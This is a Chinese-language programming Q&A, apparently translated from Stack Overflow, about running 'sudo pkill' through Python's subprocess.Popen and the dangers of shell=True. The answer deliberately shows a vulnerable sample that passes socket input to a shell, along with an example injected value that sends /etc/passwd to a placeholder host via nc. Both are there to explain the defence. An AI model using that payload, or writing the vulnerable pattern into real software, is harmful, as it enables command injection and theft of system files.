我正试图杀死之前发布的特定python进程,我们称之为test.py
linux中终止它的命令是:sudo pkill -f test.py
- >奇迹般有效。
但是当尝试通过python代码启动时:
subprocess.Popen('sudo pkill -f test.py', stdout=subprocess.PIPE)
我得到了一个带有OSError: [Errno 2] No such file or directory
知道我做错了什么吗?
答案 0 :(得分:3)
默认情况下,subprocess.Popen
会将字符串参数解释为确切的命令名称。因此,您传递一个字符串foo bar
,它将尝试找到一个名为foo bar
的可执行文件,并在不带参数的情况下调用它。与交互式shell不同,它将不使用单个参数foo
执行命令bar
。
当您在shell中键入foo "bar baz"
或foo | bar
时,它是将参数行拆分为单词并将这些单词解释为命令名,参数,管道分隔符,重定向运算符等的shell。 subprocess.Popen
执行此类输入解释的最简单方法是使用shell=True
请求通过shell传递参数:
subprocess.Popen('sudo pkill -f test.py', shell=True, stdout=subprocess.PIPE)
不幸的是,作为noted in the documentation,这种方便的快捷方式具有安全隐患。使用shell=True
是安全的,只要运行的命令是固定的(忽略明显的安全含义,允许显然没有密码sudo
。)当参数由来自的部分组合时出现问题其他来源。例如:
# XXX security risk
subprocess.Popen('sudo pkill -f %s' % socket.read(), shell=True,
stdout=subprocess.PIPE)
这里我们从网络连接中读取参数,并将其拼接到传递给shell的字符串中。除了恶意制作的对等体能够杀死系统上的任意进程(作为root,不能少)的明显问题,它实际上比这更糟糕。由于shell是一般工具,攻击者可以使用command substitution和类似功能使系统执行任何操作。例如,如果套接字发送字符串$(cat /etc/passwd | nc SOMEHOST; echo process-name)
,则上面的Popen
将使用shell执行:
sudo pkill -f $(cat /etc/passwd | nc SOMEHOST; echo process-name)
这就是为什么通常建议不要在不受信任的输入上使用shell=True
。更安全的替代方法是避免运行shell:
# smaller risk
cmd = ['sudo', 'pkill', '-f', socket.read()]
subprocess.Popen(cmd, stdout=subprocess.PIPE)
在这种情况下,即使恶意对等体在字符串中滑动了一些奇怪的东西,也不会有问题,因为它会被字面上发送到命令来执行。在上面的示例中,pkill
命令将获取一个请求以终止名为$(cat ...)
的进程,但是没有shell来解释此请求以在括号内执行命令。
即使没有shell,如果执行的命令(在这种情况下为sudo
或pkill
)本身容易受到注入攻击,则使用不受信任的输入调用外部命令仍然是不安全的。